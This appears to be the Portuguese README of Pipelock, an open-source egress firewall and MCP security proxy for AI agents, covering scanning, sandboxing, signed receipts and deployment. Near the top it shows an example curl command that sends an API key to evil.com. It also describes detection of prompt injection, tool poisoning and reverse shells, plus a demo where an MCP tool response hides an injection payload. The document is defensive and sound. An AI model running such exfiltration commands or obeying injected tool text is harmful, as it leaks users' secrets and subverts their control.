Pipelock

Firewall de código aberto para agentes de IA com Controle de Egresso Verificável.

O Pipelock fica entre os agentes de IA e a rede. Ele inspeciona tráfego HTTP, WebSocket, MCP e A2A mediado, além do conteúdo de túneis CONNECT quando a interceptação TLS está habilitada, para detectar exfiltração de segredos, injeção de prompt, SSRF, envenenamento de ferramentas e cadeias de chamadas de ferramentas arriscadas. CONNECT simples sem interceptação é verificado no nível de hostname e URL. Upstreams MCP configurados são uma exceção ao bloqueio de SSRF para endereços privados: servidores locais/privados são permitidos, mas endpoints de metadados de nuvem permanecem bloqueados.

O Pipelock emite recibos de ação assinados pelo mediador sobre decisões de limite conscientes do conteúdo, para que um revisor possa verificar o que o Pipelock decidiu fora do runtime do agente. O corpus público agent-egress-bench exercita as detecções. O fluxo de trabalho Gauntlet é o exame candidato agendado do produto contra um commit fixo do corpus; ele não publica automaticamente uma pontuação pública. Saiba mais: Firewall de IA de código aberto.

Funciona com: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

Problema · Verificar · Início Rápido · Ação · Detecções · Recursos · Arquitetura · Documentação · Playground · Blog · Pergunte ao Dosu

Experimente no seu navegador no playground ao vivo. Se o Pipelock merecer, dê uma estrela no repositório para que outras pessoas o encontrem.

O Problema

Seu agente de IA tem $PROVIDER_API_KEY no ambiente dele, além de acesso ao shell. Uma única solicitação pode vazar isso:

curl "https://evil.com/steal?key=$PROVIDER_API_KEY"   # game over, unless pipelock is watching

Toda ação de máquina que seu agente executa deve cruzar um limite entre seus segredos e a internet aberta. O Pipelock se torna esse limite quando o agente é roteado por meio de seu proxy, wrapper MCP, sandbox, modelo de contenção de host ou topologia de implantação em cluster. Ele verifica o tráfego de saída e entrada mediado, bloqueia ou sinaliza ataques com base no modo e registra evidências assinadas da decisão.

Verifique Você Mesmo

A maioria das ferramentas de segurança para agentes pede que você confie no painel delas. O Pipelock entrega um recibo assinado e permite que você o verifique offline, com uma chave que você possui. Sem conta e sem servidor.

A demonstração integrada dispara cenários de ataque reais, bloqueia-os e grava recibos assinados além da chave pública em disco, sem configuração e sem rede:

pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is <action-id>.json)

O scorecard avalia cada afirmação individualmente e declara o que não prova: se algo aconteceu fora do limite que o Pipelock medeia. Abaixo dele, a linha do tempo de recibos lista as decisões mediadas registradas com seus veredictos e links de hash. Um recibo honesto sobre seus próprios limites é melhor do que uma marca de verificação verde que os esconde.

O visualizador de evidências é gratuito e não requer licença. Ele lê uma sessão de gravador de voo, que é o que o Pipelock grava enquanto executa, em vez dos recibos de demonstração acima:

pipelock init --output ./pipelock.yaml        # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml         # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html   # static offline report, no server
pipelock evidence serve --receipt-dir ./recorder                    # same report, served read-only

Duas notas de honestidade, declaradas antecipadamente. A demonstração assina com uma chave efêmera que ela imprime para a execução, o que prova que os recibos são autoconsistentes em vez de vinculados a uma identidade nomeada. O playground público do Pipelock é um caminho separado que verifica contra uma chave que o Pipelock publica. E o operador que executa o Pipelock detém a chave de assinatura, então um recibo prova o que o limite decidiu e que o detentor da chave o assinou, não que o operador é honesto. pipelock anchor receipts registra checkpoints da cadeia de recibos em um backend local ou em um log de transparência Rekor para auditoria posterior, e a verificação independente do operador contra essa âncora ainda está sendo comprovada de ponta a ponta.

O argumento completo de por que prova supera promessas está em demonstração em vez de atestação.

Início Rápido

# Build the current release from source (Community edition, Go 1.26+)
git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install

# Set up local agent integrations and generate a config
pipelock init

# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"  # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/"                # allowed

# Download a binary
# See https://github.com/luckyPipewrench/pipelock/releases

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0

# Homebrew on macOS
brew install luckyPipewrench/tap/pipelock

gh attestation verify pipelock_3.5.0_linux_amd64.tar.gz --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:3.5.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
# Helm chart, attested from 3.6.0 on:
gh attestation verify oci://ghcr.io/luckypipewrench/charts/pipelock:3.6.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml

Veja em Ação

O painel do operador Pro/Enterprise (pipelock dashboard serve) é um console somente leitura sobre evidências assinadas. Ele suporta autenticação por token, OIDC ou mTLS; permissões RBAC limitadas; visualizações de metadados com redação; elevação de visualização bruta; registros de ciclo de vida de isenções; backup e restauração; certificados de cobertura; e visualizações de frota. Ele está presente em builds com tag enterprise e artefatos de release com o recurso de licença necessário.

O visualizador gratuito de evidências de sessão única mostrado acima é separado. Ele não requer licença e não tem enumeração entre agentes.

_{A página Visão Geral. Clique para assistir ao passo a passo do painel de 80 segundos.}

Galeria do painel

Relatórios e monitoramento gratuitos

pipelock report --input events.jsonl gera relatórios HTML, JSON ou pacotes assinados com classificação de risco, linha do tempo, categorias de eventos e um apêndice de evidências. O caminho gratuito de Prometheus e Grafana monitora uma instância do Pipelock e é distinto do plano de controle de frota Enterprise Conductor.

O Que Ele Detecta

O Pipelock opera em três modos:

Para agentes que executam modelos não censurados ou abliterados, o preset hostile-model adiciona defesas em camadas ao modo estrito: limites de entropia agressivos, bloqueio abrangente de ferramentas de rede, vinculação de sessão, detecção de exfiltração entre solicitações e um kill switch pré-configurado. pipelock audit recomenda este preset quando detecta toolchains conhecidos de remoção de proteções por meio de sinais de dependências.

Avaliação honesta: O modo estrito bloqueia HTTP de saída que atravessa o Pipelock, exceto domínios de API na allowlist, então não há canal de exfiltração pelo próprio proxy. O modo equilibrado eleva o padrão de "um comando curl" para "ataque sofisticado pré-planejado". O modo auditoria dá a você visibilidade que não tem hoje. Com o sandbox habilitado (pipelock sandbox) ou a topologia de contenção de host/cluster aplicada, o Pipelock adiciona um limite de SO ou de implantação além da inspeção de conteúdo. O egresso direto ainda precisa ser bloqueado por esse limite para ferramentas não cooperativas que ignoram as configurações de proxy.

Comparação

Matriz de referência: docs/comparison.md

Hub de comparação canônico: Comparação de segurança de runtime de IA

O Que Ele Faz

Pipelock é um proxy de egresso de IA e um controle de segurança MCP. Ele fica inline entre seu agente de IA e a rede, varre o tráfego de saída e entrada, e emite recibos assinados mais metadados de mediação para atestação fora do runtime do agente. A avaliação de identidade de carga de trabalho AARP/SVID é feita no lado do verificador hoje: o proxy e os runtimes MCP não consomem evidências SVID em decisões de permitir/negar em tempo real nem vinculam a identidade do ator do recibo a um X.509-SVID.

Detecção e Varredura

• Pipeline de varredura de URL ordenado: verificações de comprimento e análise de URL, validação de esquema, detecção de CRLF e path-traversal, política de allowlist e blocklist, proteção SSRF imutável de IP literal e pisos de DLP central, DLP configurado, análise de entropia de caminho, consulta e subdomínio, destinos de URL aninhados em parâmetros de consulta, proteção contra SSRF de DNS e rebinding, limites de taxa por domínio, orçamentos de dados e verificações de contexto finais. O DLP é executado antes da resolução de DNS, então segredos são capturados antes que uma consulta DNS saia do proxy. Veja docs/bypass-resistance.md.
• DLP: 65 padrões integrados para chaves de API, tokens, credenciais, chaves de criptomoeda, segredos de ambiente e identificadores financeiros com validação de checksum. A detecção de frases-semente BIP-39 usa consulta a dicionário, janelas deslizantes e validação de checksum SHA-256.
• Varredura de respostas: 34 padrões integrados de injeção de prompt e envenenamento de estado/controle, além de normalização em 6 passagens para caracteres de largura zero, homóglifos, leetspeak, espaços em branco opcionais, dobramento de vogais, base64 e hexadecimal. As ações são block, strip, warn ou ask.
• SSE de streaming: respostas text/event-stream de gateways de LLM e fluxo MCP HTTP/SSE token por token com varredura de DLP e injeção por evento e entre eventos contínuos. Uma detecção encerra o fluxo de forma fail-closed. Veja guia de streaming SSE.
• Varredura de corpo de requisição: cabeçalhos e corpos são varridos antes de saírem do caminho protegido em JSON, dados de formulário, texto bruto, requisições de proxy reverso, tráfego CONNECT interceptado por TLS e frames de clientes WebSocket de saída.
• Redação de requisições: reescrita JSON opcional substitui valores de segredos correspondentes por placeholders tipados, como <pl:aws-access-key:1>, em argumentos HTTP, WebSocket e MCP tools/call. Os recibos registram o perfil ativo e contagens por classe em vez de segredos em texto puro.
• Proteção de endereços: validação de endereços ETH, BTC, SOL e BNB detecta trocas de destinos semelhantes usando impressão digital de prefixo/sufixo e uma allowlist de operadores.
• Descobertas explicáveis: pipelock explain <url> (também explain event <id>, explain mcp-response e explain response para um corpo de resposta HTTP salvo) imprime o scanner, a camada, a regra correspondente, a superfície inspecionada e o ajuste de configuração mais restrito disponível para um falso positivo. Veja docs/cli/explain.md.
• Tokens canários: pipelock canary gera configuração de honeytoken. Um segredo sintético aparecendo no tráfego de saída prova que um agente ou algo em sua cadeia está exfiltrando variáveis de ambiente. Veja tokens canários.
• Varredura de arquivos de habilidade: pipelock skill-scan inventaria arquivos de habilidade do agente, compara-os com um arquivo de bloqueio de propriedade do operador e sinaliza combinações fonte-para-destino, como credencial-para-destino-de-rede ou shell-para-escrita, com evidência de linha antes que qualquer coisa seja executada. Veja docs/cli/skill-scan.md.

Segurança MCP

Pipelock envolve servidores MCP com varredura bidirecional:

# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp

• Varredura de entrada: requisições de clientes MCP são verificadas quanto a vazamentos de DLP e injeção em argumentos de ferramentas.
• Varredura de respostas: respostas de servidores são varridas antes que o agente as veja.
• Envenenamento de ferramentas: descrições de tools/list são verificadas quanto a instruções ocultas e mudanças de "puxar o tapete" no meio da sessão.
• Política de ferramentas: 30 regras integradas bloqueiam exclusões destrutivas de arquivos, acesso a credenciais, reverse shells, mecanismos de persistência, execução de comandos codificados e chamadas de ferramentas de alto risco relacionadas antes da execução.
• Cadeias de chamadas de ferramentas: 10 padrões integrados de eixo de categoria detectam reconhecimento, roubo de credenciais, preparação de dados, persistência, exfiltração e cadeias de callback com tolerância de lacuna configurável.
• Inspeção A2A: o tráfego do protocolo Google Agent-to-Agent é inspecionado nos caminhos de encaminhamento e MCP; Pipelock não é um proxy A2A autônomo.
• Listeners HTTP MCP autenticados (v3.2.0): listeners MCP não-loopback falham de forma fechada por padrão e exigem --mcp-auth-token-file, ou um --mcp-allow-unauthenticated explícito para implantações isoladas por política de rede. Listeners loopback sem token rejeitam autoridades de Host com rebinding de DNS e porta errada e removem credenciais de listener dos cabeçalhos.

Contenção

A contenção de processos não privilegiados usa primitivas nativas do SO. Linux usa Landlock e namespaces de rede; linux/amd64 também aplica seccomp. Outras builds Linux rotulam o lançamento como parcial enquanto o namespace de rede está ativo, e --strict os recusa. macOS usa perfis sandbox-exec. Em contêineres, --best-effort mantém Landlock e, em linux/amd64, seccomp quando a criação de namespace é restrita. Sua expiração limita apenas a admissão: nunca interrompe uma criança já em execução, e cada lançamento posterior deve ser reautorizado. Um lançamento sem o namespace é rotulado como override consultivo, independentemente da arquitetura, porque a falta do namespace é a lacuna mais séria: a varredura de rede então usa roteamento baseado em proxy e pode ser contornada por egresso direto.

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort \
  --best-effort-reason "container user namespaces disabled" \
  --best-effort-expiry 30m -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

A contenção de host vai além no Linux:

pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code

pipelock contain (install, run, verify, doctor, rollback, add-tool, concessões de workspace, ca-refresh, reload-nft-rules e mais) gerencia um modelo de 3 UIDs operador / proxy / agente: o agente roda em um namespace de rede privado sem rota para fora do host, alcançando apenas o proxy Pipelock através de um socket de porta, com regras de correspondência de proprietário nftables como proteção de fallback, além de configuração de serviço systemd, comandos wrapper, ACLs de workspace, atualização de CA e evidência de postura. Veja docs/contain-cli.md.

Evidência e Recibos

• Gravador de voo: evidência JSONL encadeada por hash por escritor com checkpoints assinados Ed25519 e redação DLP. pipelock init provisiona um diretório de gravador e chave de assinatura para instalações padrão. A gravação precisa de um diretório e, como a assinatura de checkpoint está ativada por padrão, também precisa de uma chave de assinatura; defina sign_checkpoints: false para um gravador encadeado por hash explicitamente não assinado. Use pipelock evidence doctor DIR para detectar danos estruturais em um diretório de evidência. Veja Gravador de Voo.
• Recibos de ação: registros assinados emitidos para ações mediadas, carregando veredito, hash de política, transporte e camada de scanner. Bloqueios produzem recibos; a aplicação de recibos no caminho de permissão exige flight_recorder.require_receipts. Verifique com pipelock verify-receipt --key <signer.pub>. Execuções sem pinagem são apenas estruturais e saem com código não zero, a menos que --allow-unpinned seja passado.
• Envelope de mediação: metadados sideband RFC 8941 em requisições HTTP encaminhadas e MCP _meta, com tipo de ação, veredito, identidade do ator, hash de política, contexto de taint e ID de correlação de recibo. Veja guia de federação.
• Conformidade de recibos: quatro implementações independentes de verificador em várias linguagens (Go, TypeScript, Rust e Python) executadas contra um corpus de conformidade compartilhado, incluindo entradas malformadas e forjáveis, como chaves duplicadas, estouro de inteiro e pares substitutos não emparelhados. Uma superfície wasm de navegador reutiliza a implementação do verificador Go. A avaliação AARP/SVID permanece um perfil de verificador offline, não uma aplicação de identidade em tempo de execução.
• Âncoras: pipelock anchor receipts registra checkpoints de cadeia de recibos em um backend local ou Rekor. A ancoragem Rekor é material de prova para auditoria posterior; a verificação Rekor exige chaves de log fixadas e o caminho de independência do operador de ponta a ponta ainda está sendo comprovado.
• Cápsula de postura: pipelock posture emit e pipelock posture verify produzem e verificam um snapshot assinado da postura de aplicação de uma implantação, com um gate de CI e modelo de pontuação, para que um revisor possa confirmar que o limite foi configurado como afirma.

Frota e Empresa

• Painel do operador: pipelock dashboard serve é um console somente leitura sobre evidências assinadas. O Pro desbloqueia as visualizações Visão Geral, Evidência, Isenções, Agentes, Orçamentos e Confiança e Chaves; o Enterprise adiciona as visualizações Frota, Workbench e Incidentes. Veja docs/cli/dashboard.md.
• Visualizador de evidência gratuito: pipelock evidence serve e pipelock evidence view renderizam uma sessão de gravador selecionada sem licença ou enumeração entre agentes. pipelock evidence verify-cert verifica certificados de cobertura emitidos pelo Pro offline.
• Conductor: plano de controle de frota Enterprise para distribuição de pacotes de política assinados, sumidouro de evidência assinado (pipelock fleet-sink), inscrição, kill remoto, rollback, dry-run, replay de decisão e pré-voo de deriva de estado de runtime/aplicação via mTLS/SPIFFE. Os seguidores aplicam localmente; o modo de política obsoleta padrão engaja uma fonte de negação independente após sua janela de graça, enquanto o override documentado continue_last_known_good enfraquece essa postura. O Conductor não detém segredos de agente. Veja o guia do Conductor.
• Retenção legal: pipelock dashboard legal-hold add/list/release gerencia retenções de preservação como metadados de conformidade mantidos fora da autoridade HTTP do painel, para que um painel comprometido possa ler retenções, mas nunca forjá-las ou excluí-las.
• Baseline comportamental: perfil-depois-bloqueio para comportamento de ferramentas MCP com pipelock baseline list/show/ratify/forget para aprovação do operador e reaprendizado. Veja docs/cli/baseline.md.

Operabilidade

• Kill switch: seis fontes independentes de ativação: arquivo de configuração, API remota, SIGUSR1, arquivo sentinela, kill remoto do Conductor e detecção de bundle obsoleto. Qualquer fonte ativa bloqueia o tráfego, com isenções de endpoint e IP no controlador.
• API de varredura: varredura programática para veredictos url, dlp, prompt_injection e tool_call com autenticação por bearer token, limite de taxa por token, descobertas estruturadas e métricas Prometheus. Consulte docs/scan-api.md.
• Sentinela de sistema de arquivos: monitora diretórios de trabalho do agente em busca de segredos gravados em disco e atribui gravações à linhagem de subprocessos MCP no Linux. Consulte docs/guides/filesystem-sentinel.md.
• Emissão de eventos: encaminha eventos de auditoria para SIEMs, receptores de webhook, syslog, CEF, OTLP e saídas de métricas sem bloquear o caminho crítico do proxy. Consulte docs/guides/siem-integration.md.
• Avaliação de segurança: pipelock assess init, pipelock assess run e pipelock assess finalize orquestram simulação de ataques, pontuação de configuração, verificação de instalação e descoberta de MCP em um pacote de evidências reproduzível. Exposições críticas, como servidores MCP desprotegidos, limitam a nota independentemente da pontuação numérica. Toda avaliação finalizada é assinada com Ed25519 por padrão, licenciada ou não, para que o diretório de execução finalizado possa ser verificado com pipelock assess verify, que calcula o hash dos artefatos listados no manifesto e verifica a assinatura destacada do manifesto. Passe --unsigned para assess finalize para pular a assinatura. O resumo gratuito mostra sua nota, pontuações por seção, principais descobertas e contagens de cobertura de conformidade; uma licença desbloqueia o relatório completo com descobertas específicas do servidor, comandos de remediação e a atestação destacada e o selo.

Free, Pro e Enterprise

Toda detecção, aplicação, contenção, verificação de recibos e o visualizador de evidências de agente único gratuito são gratuitos para sempre sob Apache 2.0. O Pro adiciona operações de agentes nomeados, incluindo certificados de cobertura por agente; o Enterprise adiciona governança e conformidade de frota.

O relatório completo pipelock assess é um direito assess separado, independente do Pro e Enterprise. A assinatura não faz parte desse direito: o resumo gratuito também é assinado, e a nota de avaliação gratuita permanece inalterada.

Como Funciona

O Pipelock usa separação de capacidades: em uma implantação reforçada, o processo do agente tem segredos, mas sem acesso direto à rede. O Pipelock tem acesso à rede, mas sem segredos do agente. Mesmo que o agente sofra injeção de prompt, ele não consegue alcançar os controles do firewall.

Três modos de proxy HTTP (mesma porta), além de um proxy MCP dedicado e inspeção A2A nos caminhos de encaminhamento e MCP:

• Proxy de busca (/fetch?url=...): Busca a URL, extrai texto, verifica injeção, retorna conteúdo limpo.
• Proxy de encaminhamento (HTTPS_PROXY): Tunelamento HTTP CONNECT padrão sem alterações no código do aplicativo. A configuração do proxy ainda é necessária. A interceptação TLS opcional permite a varredura de payload.
• Proxy WebSocket (/ws?url=ws://...): Varredura bidirecional de quadros com detecção de DLP + injeção.
• Proxy MCP (pipelock mcp proxy): Encapsula servidores MCP stdio ou HTTP com varredura bidirecional.
• Inspeção A2A: Inspeciona o tráfego do protocolo Google Agent-to-Agent ao cruzar os caminhos de encaminhamento e MCP.

┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE                                          │
│                                                          │
│ AI Agent                                                 │
│ - API keys, credentials, private code and context        │
│ - Network-isolated by deployment                         │
└────────────────────────────┬─────────────────────────────┘
                             │ mediated request
                             │ fetch / CONNECT / WS / MCP / A2A
                             ▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE                                            │
│                                                          │
│ Pipelock Agent Firewall                                  │
│ - Destination: URL, SSRF, and DNS checks                 │
│ - Data: DLP, secret detection, and budgets               │
│ - Content: prompt injection and tool poisoning           │
│ - Policy: allow, block, or redact                        │
│ - No agent secrets                                       │
└────────────────────────────┬─────────────────────────────┘
                             │ approved request
                             ▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET                                                 │
│                                                          │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘

Internet -- response --> Pipelock -- scanned content --> AI Agent

Configuração

Gere uma configuração a partir de um preset integrado, ou deixe o pipelock audit adaptar um ao seu projeto:

pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml

As mudanças de configuração são detectadas por observador de arquivos ou SIGHUP. Referência completa: docs/configuration.md

Para ajuste de falsos positivos: docs/false-positive-tuning.md

Guias de Integração

• Claude Code: Configuração do proxy MCP, configuração .claude.json
• OpenAI Codex: Encapsulamento do proxy MCP, proxy de encaminhamento, integração com sandbox
• Cline: Encapsulamento do proxy MCP para o mcp.json do Cline
• Continue.dev: Encapsulamento do proxy MCP para a configuração YAML do Continue
• OpenCode: Encapsulamento do proxy MCP para servidores MCP locais e remotos do OpenCode
• Pi: configuração global httpProxy com um listener de agente nomeado (exemplo)
• Zed: Encapsulamento do proxy MCP para o bloco context_servers do Zed em settings.json
• OpenAI Agents SDK: MCPServerStdio, transferências multiagente
• Google ADK: McpToolset, StdioConnectionParams
• AutoGen: StdioServerParams, mcp_server_tools()
• CrewAI: encapsulamento MCPServerStdio, MCPServerAdapter
• LangGraph: MultiServerMCPClient, StateGraph
• Hermes: cobertura completa de plugin ou encapsulamento MCP mais leve para o agente da Nous Research, com preservação do sidecar de cabeçalho de autenticação
• Grok Build: proxy de encaminhamento via HTTPS_PROXY / HTTP_PROXY além de encapsulamento MCP manual (grok mcp add … -- pipelock mcp proxy); sem instalador automático
• JetBrains/Junie: Encapsulamento do proxy MCP para IntelliJ, PyCharm, GoLand (passo a passo)
• Cursor: pipelock cursor install registra o Pipelock como um hook do Cursor para execução de shell, chamadas de ferramentas MCP e leituras de arquivos; use --config para incorporar um caminho de política validado e pipelock cursor remove para remover hooks gerenciados pelo Pipelock. Você também pode usar configs/cursor.yaml com o mesmo padrão de proxy MCP do Claude Code (passo a passo)
• VS Code: pipelock vscode install reescreve .vscode/mcp.json para rotear cada servidor MCP pelo proxy MCP; --global tem como alvo o mcp.json no nível do usuário
• OpenClaw: sidecar de gateway, contêiner init, encapsulamento de configuração
• Qualquer outro cliente MCP: pipelock generate mcporter lê qualquer arquivo JSON com um objeto mcpServers de nível superior e encapsula cada servidor pelo proxy do Pipelock, para que um cliente que não esteja na lista acima ainda roteie pela varredura em um único comando.

Implantação

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:3.5.0 \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# Kubernetes with Helm (published chart, Helm 3.8+)
helm install pipelock oci://ghcr.io/luckypipewrench/charts/pipelock --version 3.5.0

Receitas de produção para Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables e macOS PF: docs/guides/deployment-recipes.md

Integração com CI

# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@ca05ed06f360f5aac5518ab6ea2b11d729b70bee # v3.5.0
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

A ação baixa um binário pré-compilado, executa pipelock audit, verifica o diff do PR em busca de segredos vazados e envia o relatório de auditoria como artefato do workflow. Veja examples/ci-workflow.yaml para um workflow completo.

Demonstração Executável: Injeção de Resposta de Ferramenta

O harness examples/tool-response-injection/ executa uma demonstração de ponta a ponta onde uma ferramenta MCP com nome e descrição inofensivos esconde um payload de injeção de prompt em sua resposta. O Pipelock bloqueia a resposta antes que ela chegue ao agente e emite recibos de ação assinados que um terceiro pode verificar. A mesma demonstração roda em três transportes com uma chave de assinatura compartilhada:

• MCP stdio
• Upstream HTTP MCP
• Busca HTTP

cd examples/tool-response-injection
python3 demo.py    # needs python3 + cryptography + pipelock on PATH

Regras da Comunidade

A detecção integrada de DLP, injeção e envenenamento de ferramentas do Pipelock é forte desde o início. Os pacotes de regras da comunidade permitem ir além: adicione seus próprios padrões para as formas de exfiltração, formatos de segredos e truques de injeção que sua stack vê, assine-os e envie-os em um ritmo que você controla, em vez de esperar por um lançamento.

Instale o pacote oficial em uma linha:

pipelock rules install pipelock-community

Os pacotes de regras são assinados e com versão bloqueada. O ciclo de vida completo é um comando enviado, não uma edição de configuração:

pipelock rules list                    # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify                  # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community

Escreva o seu próprio. Uma regra é uma pequena entrada YAML com nome, categoria (DLP, injeção ou envenenamento de ferramenta) e um padrão. Assine com sua chave, coloque em um pacote, e toda instância do Pipelock que você executa a adota. Compartilhe com a comunidade e ela protege todos os outros também.

Contribua com uma regra para o pacote público pipelock-rules, ou leia docs/rules.md para criar e assinar o seu próprio.

Documentação

Diretório completo de documentação: docs/

Estrutura do Projeto

cmd/pipelock/          CLI entry point
internal/
  cli/                 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
    diag/              `pipelock doctor` and install-verification diagnostics
    session/           `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
    setup/             `pipelock init sidecar`: companion-proxy manifest generation (K8s)
  config/              YAML config, validation, defaults, hot-reload (fsnotify)
  scanner/             Ordered URL scanning pipeline + response injection detection
  audit/               Structured JSON logging (zerolog) + event emission dispatch
  proxy/               HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
  mcp/                 MCP proxy + bidirectional scanning + tool poisoning + chains
    integrity/         MCP binary/script integrity manifests and trust workflow
  discover/            IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
  killswitch/          Emergency deny-all (6 sources) + port-isolated API
  envelope/            Mediation envelope (RFC 8941) for sideband metadata
  media/               Image metadata stripping (JPEG/PNG byte-level surgery)
  normalize/           Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
  receipt/             Action receipt signing + hash-chained evidence
  posture/             Posture capsule schema, signing, scoring, verify policy
  session/             Session state, taint classification, task boundaries, trust overrides
  rules/               Bundle loader, tier taxonomy, RequiredFeatures enforcement
  sandbox/             Landlock, seccomp, netns, macOS sandbox-exec
  shield/              Airlock, browser shield, SVG hardening
  signing/             Ed25519 key management
  integrity/           SHA256 file integrity monitoring
  report/              HTML/JSON audit report generation
enterprise/            Multi-agent features (ELv2)
sdk/conformance/       Cross-implementation receipt verification test vectors
charts/                Helm chart for Kubernetes deployment
configs/               7 built-in preset config files
docs/                  Guides, references, compliance mappings

Testes

O Pipelock é testado como um produto de segurança. O núcleo de código aberto tem testes de unidade, integração e ponta a ponta. Uma suíte adversarial privada separada exercita classes de ataque contra o binário de produção. Todo bypass evolui para um teste de regressão antes do release.

Execute make test para verificar localmente. Evidência de benchmark de primeira parte: o corpus público agent-egress-bench. Veja os resultados ao vivo.

Créditos

• Arquitetura influenciada pelo sandboxing do Claude Code da Anthropic e sandbox-runtime
• Modelo de ameaça informado pelo OWASP Agentic AI Top 10
• Veja docs/comparison.md para saber como o Pipelock se relaciona com outras ferramentas neste espaço
• Contribuições de revisão de segurança de Dylan Corrales

Contribuições são bem-vindas. Veja CONTRIBUTING.md para diretrizes.

Se o Pipelock for útil, por favor dê uma estrela neste repositório. Isso ajuda outras pessoas a encontrar o projeto.

Licença

O núcleo do Pipelock é licenciado sob a Apache License 2.0. Copyright 2026 Joshua Waldrep.

Recursos multi-agente (identidade por agente, orçamentos e isolamento de configuração) estão no diretório enterprise/, controlados pela tag de build enterprise e licenciados sob a Elastic License 2.0 (ELv2). Esses recursos são ativados com uma chave de licença válida.

O núcleo de código aberto funciona de forma independente sem recursos pagos. Toda varredura, detecção e proteção de agente único são gratuitas.

Artefatos de release pré-construídos (Homebrew, releases do GitHub, imagens Docker) incluem código de nível pago que é ativado com uma chave de licença válida. Compilar a partir do código-fonte com make build, make install ou o Dockerfile do repositório produz um binário somente Community.

Veja LICENSE para o texto Apache 2.0 e enterprise/LICENSE para o texto ELv2.